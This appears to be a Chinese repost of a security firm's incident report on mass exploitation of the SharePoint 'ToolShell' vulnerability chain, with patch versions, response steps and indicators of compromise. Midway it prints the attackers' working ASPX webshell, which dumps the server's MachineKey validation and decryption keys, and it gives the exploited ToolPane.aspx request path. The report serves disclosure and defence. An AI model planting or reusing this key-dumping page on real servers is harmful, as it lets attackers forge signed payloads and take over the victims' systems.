SharePoint 服务器漏洞正遭受大规模利用
原文链接: https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247500946&idx=3&sn=c5bbf571b7151ad4830b959d09210954
SharePoint 服务器漏洞正遭受大规模利用
独眼情报 2025-07-20 05:16
概述
在2025年7月18日
晚上,Eye Security发现了一个新的SharePoint远程代码执行(RCE)漏洞链
的大规模主动利用,这个漏洞链被称为ToolShell。这个漏洞刚刚在几天前被CODE WHITE GmbH在X上展示过(Pwn2Own Berlin 2025的原作者在补丁发布后公开分享),现在这个漏洞已经被武器化,正在被用来攻击全世界的本地部署SharePoint服务器。
我们的团队扫描了全球超过1000多台SharePoint服务器
。我们发现数十台系统已被主动攻陷
,很可能是在7月18日下午18:00(中欧时间)左右。这篇博客将分享我们的初步发现和建议,告诉大家如何打补丁以及如何进行入侵评估(如果你觉得自己可能受到了影响)。
博客更新日志
由于这个事件还在持续发展中,我们会在这篇博客中更新相关的新信息。
时间 | 事件 |
---|---|
|
|
|
|
|
|
关于披露的说明
这篇博客遵循了对受影响组织及其国家GovCERT的负责任披露
原则。在每个确认的案例中,我们都直接联系了相关方并提供了详细证据(包括受影响的确切SharePoint URL)。我们的首要目标很明确:保护整个生态系统。因此,在组织恢复期间,我们会在这篇博客中隐藏一些细节。我们永远不会分享受害者信息。
2025年7月18日晚上
深夜时分,我们的24/7检测团队从某个特定客户的CrowdStrike Falcon EDR
部署中收到了一个警报。这个警报标记了在一台老旧的SharePoint本地服务器上的可疑进程链,与最近上传的恶意
.aspx
文件有关。
乍一看,这很眼熟。一个经典的网页木马,混淆代码在自定义路径中,设计用来通过HTTP进行远程命令执行。我们之前见过很多这样的。但这次让它显得特别的是,它是怎么
到那里的。
我们最初的假设很平常但很有道理:对联合ADFS身份
进行暴力破解或凭证填充攻击,然后使用有效凭证进行身份验证上传或远程代码尝试。受影响的SharePoint服务器暴露在互联网上,并通过混合ADFS连接到Azure AD。当配置错误或过时时,这个技术栈可能是个危险的组合。
这一切似乎都证实了这个理论:凭证被盗 → 木马投放 → 实现持久化。
但后来,有些东西不对劲。
– 我们在ADFS日志中没有找到成功的身份验证记录,或者至少日志记录不充分
- 恶意IIS日志在
cs-username
列中没有包含值,这很奇怪
- 对
/_layouts/15/ToolPane.aspx
的POST请求看起来相当特殊
…
- 我们感觉凭证从来没有
被使用过…
攻击者怎么能在完全没有身份验证
的情况下向服务器写入文件呢?
ToolShell (CVE-2025-49706 & CVE-2025-49704)
就在这时我们意识到,我们处理的不再是一个简单的基于凭证的入侵。 这不是暴力破解或钓鱼场景。这是零日漏洞领域的事情。
经过一些调查,我们了解到三天前,Code White GmbH
的攻击安全团队展示了他们可以重现SharePoint中的未经身份验证的RCE利用链,这是今年5月在Pwn2Own Berlin上展示的两个漏洞的组合:
– CVE-2025-49706
- CVE-2025-49704
他们将这个链称为ToolShell
。
当时,这被认为是一个概念验证。没有公开代码发布,细节也很稀少。但时间匹配。行为也匹配:
/_layouts/15/ToolPane.aspx
中的漏洞,文件写入,无需登录,完全控制Web应用程序进程。
这不是凭证问题。这是一个已经在野外使用的武器化Pwn2Own漏洞。
ASPX载荷:转储加密密钥
当我们的团队开始审查受影响的系统时,我们预期会找到常见的嫌疑对象:用于命令执行、文件上传或横向移动的标准网页木马。相反,我们发现的更微妙,可以说更危险:一个隐秘的
.aspx
文件,其唯一目的是通过简单的GET请求从SharePoint服务器中提取和泄露加密秘密。
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
这不是你典型的网页木马。没有交互式命令、反向shell或命令控制逻辑。相反,这个页面调用内部.NET方法来读取SharePoint服务器的MachineKey
配置,包括
ValidationKey
和
DecryptionKey
。这些密钥对于生成有效的
__VIEWSTATE
载荷至关重要,获得它们实际上将任何经过身份验证的SharePoint请求转变为远程代码执行机会
。
然后一切都联系起来了。
通过CVE-2021-28474在SharePoint上实现RCE
基于我们对CVE-2021-28474的了解,我们可以推断新的ToolShell CVE链是如何完成完整的远程代码执行(RCE)的:利用SharePoint通过
__VIEWSTATE
处理反序列化和控件渲染的方式。
在原始的CVE-2021-28474中,攻击者滥用SharePoint页面中的服务器端控件解析逻辑,将意外对象注入页面生命周期。这是可能的,因为SharePoint使用存储在机器配置中的签名密钥(即
ValidationKey
)来加载和执行ASP.NET
ViewState
对象。通过制作带有序列化载荷的恶意页面请求,并正确签名
,攻击者可以导致SharePoint反序列化任意对象并执行嵌入的命令。然而,该漏洞受到生成有效签名要求的限制,这反过来需要访问服务器的秘密
ValidationKey
。
现在,通过ToolShell链(CVE-2025-49706 + CVE-2025-49704),攻击者似乎可以直接从内存或配置中提取ValidationKey
。一旦这个加密材料被泄露,攻击者就可以制作完全有效、已签名的
__VIEWSTATE
载荷,绕过最后一道防线
。这些载荷可以嵌入恶意小工具链(例如,用于命令执行),并被服务器作为可信输入接受,完成RCE链而无需凭证。这反映了2021年被利用的设计弱点,但现在打包成一个现代零日链,具有自动shell投放、完全持久化和零身份验证。
本质上,攻击者将SharePoint对自己配置的信任转变为武器。
我们的第一反应
对于我们的客户,我们立即对SharePoint服务器和周围系统进行了全面扫描,确保没有其他网页木马或持久化机制存在。同时,我们直接通知了客户,将受影响的系统从网络中隔离,并激活了我们的事件响应协议。虽然完整的入侵评估仍在进行中,我们目前不会透露更多细节,但早期证据表明攻击在成功之前就被阻止了,这要归功于我们EDR的及时干预
,它阻止了进一步的执行并防止了横向移动。
在对所有客户进行一些搜索后,我们确认没有其他活跃的入侵,这让我们开始研究以通知其他潜在受害者。
扫描互联网以通知受害者
意识到我们很可能目睹了大规模利用活动的第一波,我们扩大了范围。使用内部遥测,我们扫描了超过1000多个面向公众的SharePoint环境
。
我们的目标很明确:确定这个漏洞是孤立的还是系统性的。答案来得既快又决定性:它是系统性的
。在几小时内,我们识别出数十台独立服务器被攻陷
,使用完全相同的载荷在相同的文件路径中。在每个案例中,攻击者都植入了一个泄露敏感密钥材料的shell,从而实现完全的远程访问。
考虑到规模和严重性,我们迅速采取行动进行私人披露
。我们编制了技术IOC、URL和入侵指标,并联系了欧盟和国际上的多个国家CERT
。我们还在可能的情况下通知了相关的受影响组织,符合负责任披露准则。
行动呼吁:检查你自己的SharePoint
遵循Microsoft关于ZDI-25-580 / ZDI-CAN-27162 / CVE-2025-49706的官方建议。请注意,随着这个漏洞的发展,Microsoft可能会更新它。根据Microsoft的说法,受影响的构建是以下版本之前的任何预补丁版本
:
– 2016:
16.0.5508.1000 (KB5002744) 之前
-
2019:
16.0.10417.20027 (KB5002741) 之前 -
订阅版本:
16.0.18526.20424 之前
部署官方2025年7月安全更新:
– 通过Microsoft Update
、Update Catalog
或Media
可获得。
- Microsoft明确声明没有其他缓解措施或解决方案
:只有完整的补丁才能消除漏洞
验证补丁是否在系统范围内安装:
– 在你的SharePoint中央管理中 > “管理补丁状态” 或通过PowerShell。
- 或者,交叉引用上面列出的已安装KB编号。
扫描剩余的入侵指标(IOCs):
– 即使在打补丁后,被攻陷的服务器可能仍然托管后门。我们无法分享我们识别的后门文件名,但请确保扫描所有公共
_layouts/15/
目录以寻找植入的shell,审查HTTP访问日志(~18:00 CET,7月18日),并轮换任何可能被捕获的凭证、证书或令牌。
向非技术人员解释的风险
ToolShell利用链
不仅仅是另一个远程代码执行漏洞:它对任何运行本地SharePoint实例
且在某个时间点未打补丁的组织来说,都代表了明确和现实的危险。
– 远程代码执行(RCE)
:使用ToolShell,攻击者可以在SharePoint服务器上执行任意代码而无需身份验证
。这给了他们对底层Windows主机的完全控制,包括访问所有SharePoint内容、文件系统和内部配置。由于攻击是未经身份验证的,标准的身份或MFA保护无法提供防御。
-
访问敏感密钥材料
:我们观察到的最令人担忧的行为之一是通过网页shell泄露内部加密密钥和秘密。有了这些,攻击者可以冒充用户或服务,即使在打补丁后也是如此。 -
在打补丁后仍然存在的持久化
:在被攻陷后
修补CVE-2025-49706和CVE-2025-49704为时已晚。一旦进入,攻击者可以安装辅助网页shell、创建新的计划任务、将后门注入合法的SharePoint DLL,或修改配置文件以无限期保留访问权限。其中一些方法可以在重启、软件更新,甚至AV扫描中存活。 -
数据泄露和横向移动
:被攻陷的SharePoint服务器通常位于协作、文件存储和身份的交汇点。从这里,攻击者可以: -
转储敏感文档、客户数据、合同或内部策略。
-
获取密码或缓存的凭证。
-
横向移动到文件服务器、域控制器或数据库系统。
-
利用SharePoint与Outlook、Teams或OneDrive的集成来冒充用户或透视到云端。
这不是机会主义的撒网式恶意软件。这是外科手术式利用
,在公开演示后72小时内就能看到,旨在规避检测并获得长期访问权限。你行动得越早,就越有可能控制损害。
即时响应建议
如果你确认自己被攻陷了,请立即采取行动。
1. 隔离或关闭受影响的SharePoint服务器。
通过防火墙阻止是不够的
,因为持久化可能已经存在。
-
审计所有可能通过SharePoint访问的凭证和令牌。
-
联系你的事件响应团队或可信的网络安全公司。
时间至关重要。如果你需要支持,请咨询专业支持。
入侵指标(IOCs)
请与你的IT团队和/或MSP分享以下指标,让他们检查他们的日志。请注意,这个列表可能不完整,请定期查看CVE-2025-49706以获取更新。
107.191.58[.]76
– 第一波利用基于美国的源IP,负责7月18日18:06中欧时间左右的主动利用
104.238.159[.]149
– 第二波利用 基于美国的源IP,负责7月19日07:28中欧时间左右的主动利用
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
– 7月18日和19日主动利用中使用的用户代理字符串
Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0
– 用于IIS日志搜索的URL编码用户代理字符串
- 对
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
的POST请求 –
与CVE-2025-49706相关的被利用aspx文件路径
- 对
/_layouts/15/<未披露-aspx-文件名>.aspx
中恶意ASPX文件的GET请求 – 与CVE-2021-28474相关的aspx加密转储器